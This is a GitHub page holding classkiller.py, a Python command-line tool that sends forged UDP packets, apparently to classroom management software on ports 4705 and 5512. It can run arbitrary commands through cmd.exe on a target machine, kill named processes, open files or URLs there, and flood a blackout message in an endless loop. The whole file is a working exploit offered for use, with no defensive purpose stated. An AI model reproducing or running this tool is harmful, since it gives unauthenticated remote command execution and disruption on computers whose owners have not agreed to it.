-
Notifications
You must be signed in to change notification settings - Fork 1
/
classkiller.py
220 lines (192 loc) · 10.8 KB
/
classkiller.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
import socket
import binascii
import time
import argparse
bools = True
def tskill(app_name,target):
data = "444d4f43000001002a020000ff520b222a07974684aeb80ea9c3a15c204e0000"
data += "c0a8c5011d0200001d020000000200000000000002000010000000000100000"
data += "000000000"
for i in app_name:
data += hex(ord(i))[2:] + "00"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000"
udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
data_lens = len(data)
if data_lens > 1164:
data = data[:-(data_lens-1164)]
if data_lens < 1164:
num = 1164 - data_lens
num_1 = 0
while num_1 < num:
data += "0"
num_1 += 1
print("---------------------------shellcode----------------------------------")
print(data)
print("----------------------------------------------------------------------")
send_data = binascii.unhexlify(data)
udp_socket.sendto(send_data,(target,4705))
data_start = "54524d430000010004000000ff520b222a07974684aeb80ea9c3a15cc0a8c581"
send_data_start = binascii.unhexlify(data_start)
udp_socket.sendto(send_data_start,(target,4705))
udp_socket.close()
def open_file(file_name,target):
data = "444d4f43000001006e0300003593442e858bcc4f9fa7cb5f09c127c0204e0000"
data += "c0a8c501610300006103000000020000000000000f00000001000000"
for i in file_name:
data += hex(ord(i))[2:] + "00"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "000000000000000000000000000000000000000000000000000000000000000"
data += "00000000000"
udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
data_lens = len(data)
if data_lens > 1812:
data = data[:-(data_lens-1812)]
if data_lens < 1812:
num = 1812 - data_lens
num_1 = 0
while num_1 < num:
data += "0"
num_1 += 1
print("---------------------------shellcode----------------------------------")
print(data)
print("----------------------------------------------------------------------")
send_data = binascii.unhexlify(data)
udp_socket.sendto(send_data,(target,4705))
udp_socket.close()
def blackground(target):
udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
data = "4d4553530100000001000000c0a8c5812700000020000000000000800100000"
data += "0010000000a00000000000000ffffff0000000000a00520"
print("---------------------------shellcode----------------------------------")
print(data)
print("----------------------------------------------------------------------")
send_data = binascii.unhexlify(data)
while bools:
udp_socket.sendto(send_data,(target,5512))
udp_socket.close()
def stop_blackground():
global bools
bools = False
def openurl(url,target):
num = 0
udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
if "http" in url and "://" in url:
data = "444d4f430000010048000000beb17a398bb26a4c83c67a74ddbecae7204e0000c0a8c5013b0000003b00000000020000000000001800000000000000"
for i in url:
data += hex(ord(i))[2:] + "00"
data += "00000000"
else:
if "." in url:
for i in url:
if i == ".":
num += 1
if num >= 2:
data = "444d4f43000001003e00000004e89edad201a043b840ce966febaad3204e0000c0a8c501310000003100000000020000000000001800000000000000"
for i in url:
data += hex(ord(i))[2:] + "00"
data += "00000000"
if num == 1:
data = "444d4f4300000100360000006e196a347e977e479b53da8c08b787ff204e0000c0a8c501290000002900000000020000000000001800000000000000"
for i in url:
data += hex(ord(i))[2:] + "00"
data += "00000000"
print("---------------------------shellcode----------------------------------")
print(data)
print("----------------------------------------------------------------------")
send_data = binascii.unhexlify(data)
udp_socket.sendto(send_data,(target,4705))
udp_socket.close()
def excute_cmd(cmd,target):
udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
data = "444d4f43000001006e0300006e2fe4727aa5014b886c8f8b9052da34204e0000c0a8c501610300006103000000020000000000000f0000000100000043003a005c00570069006e0064006f00770073005c00730079007300740065006d00330032005c0063006d0064002e0065007800650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002f006b002000"
for i in cmd:
data += hex(ord(i))[2:] + "00"
data += "20002600260020006500780069007400000078006900740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000"
data_lens = len(data)
if data_lens > 1812:
data = data[:-(data_lens-1812)]
if data_lens < 1812:
num = 1812 - data_lens
num_1 = 0
while num_1 < num:
data += "0"
num_1 += 1
print("---------------------------shellcode----------------------------------")
print(data)
print("----------------------------------------------------------------------")
send_data = binascii.unhexlify(data)
udp_socket.sendto(send_data,(target,4705))
udp_socket.close()
def main():
banner = """
____ _ _ ___ _ _
/ ___| | __ _ ___ ___ | |/ (_) | | ___ _ __
| | | |/ _` / __/ __| | ' /| | | |/ _ \ '__|
| |___| | (_| \__ \__ \ | . \| | | | __/ |
\____|_|\__,_|___/___/ |_|\_\_|_|_|\___|_|
"""
print(banner)
parser = argparse.ArgumentParser(description="ClassKiller")
parser.add_argument('-C','--cmd',help='set cmd')
parser.add_argument('-O','--openurls',help='set url')
parser.add_argument('-B','--blackgrounds',action='store_true')
parser.add_argument('-F','--open_file',help='set file_name')
parser.add_argument('-K','--tskills',help='set exe_name')
parser.add_argument('target',help='set target')
args = parser.parse_args()
action_val_target = args.target
action_val_cmd = args.cmd
action_val_url = args.openurls
action_val_blackground = args.blackgrounds
action_val_file_name = args.open_file
action_val_tskill = args.tskills
if action_val_cmd:
excute_cmd(action_val_cmd,action_val_target)
if action_val_url:
openurl(action_val_url,action_val_target)
if action_val_blackground:
blackground(action_val_target)
if action_val_file_name:
open_file(action_val_file_name,action_val_target)
if action_val_tskill:
tskill(action_val_tskill,action_val_target)
if __name__ == "__main__":
main()